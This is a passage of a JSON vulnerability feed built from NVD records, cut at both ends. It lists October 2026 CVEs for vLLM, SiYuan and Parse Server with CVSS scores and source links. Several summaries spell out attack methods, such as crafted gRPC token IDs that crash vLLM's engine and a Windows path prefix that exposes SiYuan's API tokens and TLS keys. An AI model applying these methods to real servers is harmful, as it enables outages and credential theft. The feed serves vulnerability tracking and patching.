Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:57.160Z","updatedAt":"2026-10-26T14:03:56.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116176","asOf":"2026-10-26T14:03:56.640Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116176","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116176","type":"primary","publishedAt":"2026-10-25T14:16:57.160Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116175","cveId":"CVE-2026-116175","aliases":[],"kind":"vulnerability","title":"vLLM from 0.19.0 before 0.24.0 contains a decompression bomb vulnerability because the AudioMediaIO multimodal path calls load_audio without the max_duration_s decoded-duration...","summary":"vLLM from 0.19.0 before 0.24.0 contains a decompression bomb vulnerability because the AudioMediaIO multimodal path calls load_audio without the max_duration_s decoded-duration limit. Authenticated attackers can send small compressed audio via input_audio or audio_url in /v1/chat/completions requests that expands to huge decoded PCM, exhausting server memory.","detail":"vLLM from 0.19.0 before 0.24.0 contains a decompression bomb vulnerability because the AudioMediaIO multimodal path calls load_audio without the max_duration_s decoded-duration limit. Authenticated attackers can send small compressed audio via input_audio or audio_url in /v1/chat/completions requests that expands to huge decoded PCM, exhausting server memory.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:57.017Z","updatedAt":"2026-10-26T17:17:22.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116175","asOf":"2026-10-26T17:17:22.620Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116175","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116175","type":"primary","publishedAt":"2026-10-25T14:16:57.017Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116174","cveId":"CVE-2026-116174","aliases":[],"kind":"vulnerability","title":"vLLM from 0.22.0 before 0.24.0 contains an improper input validation vulnerability in the Rust gRPC Generate and GenerateStream service that forwards unchecked prompt token IDs to...","summary":"vLLM from 0.22.0 before 0.24.0 contains an improper input validation vulnerability in the Rust gRPC Generate and GenerateStream service that forwards unchecked prompt token IDs to EngineCore. Attackers can submit requests with out-of-vocabulary prompt.token_ids values to trigger a fatal embedding lookup failure that terminates EngineCore and leaves the server unhealthy.","detail":"vLLM from 0.22.0 before 0.24.0 contains an improper input validation vulnerability in the Rust gRPC Generate and GenerateStream service that forwards unchecked prompt token IDs to EngineCore. Attackers can submit requests with out-of-vocabulary prompt.token_ids values to trigger a fatal embedding lookup failure that terminates EngineCore and leaves the server unhealthy.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:56.877Z","updatedAt":"2026-10-26T14:03:56.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116174","asOf":"2026-10-26T14:03:56.640Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116174","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116174","type":"primary","publishedAt":"2026-10-25T14:16:56.877Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116173","cveId":"CVE-2026-116173","aliases":[],"kind":"vulnerability","title":"vLLM from 0.22.0 before 0.24.0 contains a denial of service vulnerability that allows remote attackers to terminate EngineCore by bypassing logprob_token_ids limits in the Rust...","summary":"vLLM from 0.22.0 before 0.24.0 contains a denial of service vulnerability that allows remote attackers to terminate EngineCore by bypassing logprob_token_ids limits in the Rust gRPC frontend. Attackers can send Generate or GenerateStream requests with output_logprobs enabled and more than 128 output_candidates.token_ids, triggering a fatal sampler exception that crashes the engine.","detail":"vLLM from 0.22.0 before 0.24.0 contains a denial of service vulnerability that allows remote attackers to terminate EngineCore by bypassing logprob_token_ids limits in the Rust gRPC frontend. Attackers can send Generate or GenerateStream requests with output_logprobs enabled and more than 128 output_candidates.token_ids, triggering a fatal sampler exception that crashes the engine.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:56.720Z","updatedAt":"2026-10-26T14:03:56.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116173","asOf":"2026-10-26T14:03:56.640Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116173","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116173","type":"primary","publishedAt":"2026-10-25T14:16:56.720Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116172","cveId":"CVE-2026-116172","aliases":[],"kind":"vulnerability","title":"vLLM from 0.22.0 before 0.24.0 contains an improper input validation vulnerability in the Rust gRPC converter that allows remote attackers to bypass max_logprobs limits via...","summary":"vLLM from 0.22.0 before 0.24.0 contains an improper input validation vulnerability in the Rust gRPC converter that allows remote attackers to bypass max_logprobs limits via CandidateTokens.top_n. Attackers can send Generate or GenerateStream requests with oversized or integer-wrapping top_n values to trigger torch.topk failures that terminate EngineCore.","detail":"vLLM from 0.22.0 before 0.24.0 contains an improper input validation vulnerability in the Rust gRPC converter that allows remote attackers to bypass max_logprobs limits via CandidateTokens.top_n. Attackers can send Generate or GenerateStream requests with oversized or integer-wrapping top_n values to trigger torch.topk failures that terminate EngineCore.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:56.570Z","updatedAt":"2026-10-26T14:03:56.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116172","asOf":"2026-10-26T14:03:56.640Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116172","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116172","type":"primary","publishedAt":"2026-10-25T14:16:56.570Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116171","cveId":"CVE-2026-116171","aliases":[],"kind":"vulnerability","title":"SiYuan 3.5.4 before 3.8.7 on Windows contains a sensitive-path denylist bypass in IsSensitivePath because the Windows extended-length prefix (\\\\?\\) survives filepath.Clean and...","summary":"SiYuan 3.5.4 before 3.8.7 on Windows contains a sensitive-path denylist bypass in IsSensitivePath because the Windows extended-length prefix (\\\\?\\) survives filepath.Clean and matches no forbidden prefix. Authenticated API callers can prepend the prefix to localPath in /api/import/importStdMd to copy workspace conf files, including the API token and TLS private keys, into assets served to unauthenticated clients.","detail":"SiYuan 3.5.4 before 3.8.7 on Windows contains a sensitive-path denylist bypass in IsSensitivePath because the Windows extended-length prefix (\\\\?\\) survives filepath.Clean and matches no forbidden prefix. Authenticated API callers can prepend the prefix to localPath in /api/import/importStdMd to copy workspace conf files, including the API token and TLS private keys, into assets served to unauthenticated clients.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:56.413Z","updatedAt":"2026-10-26T17:17:22.493Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116171","asOf":"2026-10-26T17:17:22.493Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116171","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116171","type":"primary","publishedAt":"2026-10-25T14:16:56.413Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116167","cveId":"CVE-2026-116167","aliases":[],"kind":"vulnerability","title":"SiYuan from 2.9.0 before 3.8.7 contains a cross-site scripting vulnerability in the unauthenticated /check-auth page that assigns the to parameter to window.location.href without...","summary":"SiYuan from 2.9.0 before 3.8.7 contains a cross-site scripting vulnerability in the unauthenticated /check-auth page that assigns the to parameter to window.location.href without scheme validation. Attackers can send a crafted link with a javascript: URI that executes after victim login, invoking kernel APIs to read or modify workspace content and settings.","detail":"SiYuan from 2.9.0 before 3.8.7 contains a cross-site scripting vulnerability in the unauthenticated /check-auth page that assigns the to parameter to window.location.href without scheme validation. Attackers can send a crafted link with a javascript: URI that executes after victim login, invoking kernel APIs to read or modify workspace content and settings.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:55.733Z","updatedAt":"2026-10-26T17:17:22.367Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116167","asOf":"2026-10-26T17:17:22.367Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116167","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116167","type":"primary","publishedAt":"2026-10-25T14:16:55.733Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116166","cveId":"CVE-2026-116166","aliases":[],"kind":"vulnerability","title":"SiYuan 3.6.0 before 3.8.7 accepts and persists the networkServeTLS setting but never enforces it, so the kernel port keeps serving full API access over plain HTTP alongside HTTPS.","summary":"SiYuan 3.6.0 before 3.8.7 accepts and persists the networkServeTLS setting but never enforces it, so the kernel port keeps serving full API access over plain HTTP alongside HTTPS. Network-adjacent attackers can sniff the cleartext login flow and session cookie, which lacks the Secure attribute while responses omit HSTS, to hijack kernel API sessions.","detail":"SiYuan 3.6.0 before 3.8.7 accepts and persists the networkServeTLS setting but never enforces it, so the kernel port keeps serving full API access over plain HTTP alongside HTTPS. Network-adjacent attackers can sniff the cleartext login flow and session cookie, which lacks the Secure attribute while responses omit HSTS, to hijack kernel API sessions.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:55.517Z","updatedAt":"2026-10-25T14:16:55.673Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116166","asOf":"2026-10-25T14:16:55.673Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116166","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116166","type":"primary","publishedAt":"2026-10-25T14:16:55.517Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:35:55.142Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116165","cveId":"CVE-2026-116165","aliases":[],"kind":"vulnerability","title":"Parse Server before 8.6.101 and 9.0.0 before 9.10.4-alpha.4 contains a missing authorization vulnerability on MongoDB deployments that lets clients without the master key delete...","summary":"Parse Server before 8.6.101 and 9.0.0 before 9.10.4-alpha.4 contains a missing authorization vulnerability on MongoDB deployments that lets clients without the master key delete the stored schema of any class. Unauthenticated attackers can send REST API delete requests targeting the internal _SCHEMA collection to remove field definitions, class-level permissions, and protected fields, exposing data to unauthorized reads and modifications.","detail":"Parse Server before 8.6.101 and 9.0.0 before 9.10.4-alpha.4 contains a missing authorization vulnerability on MongoDB deployments that lets clients without the master key delete the stored schema of any class. Unauthenticated attackers can send REST API delete requests targeting the internal _SCHEMA collection to remove field definitions, class-level permissions, and protected fields, exposing data to unauthorized reads and modifications.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:16:55.387Z","updatedAt":"2026-10-26T14:03:56.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116165","asOf":"2026-10-26T14:03:56.640Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116165","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116165","type":"primary","publishedAt":"2026-10-25T14:16:55.387Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the 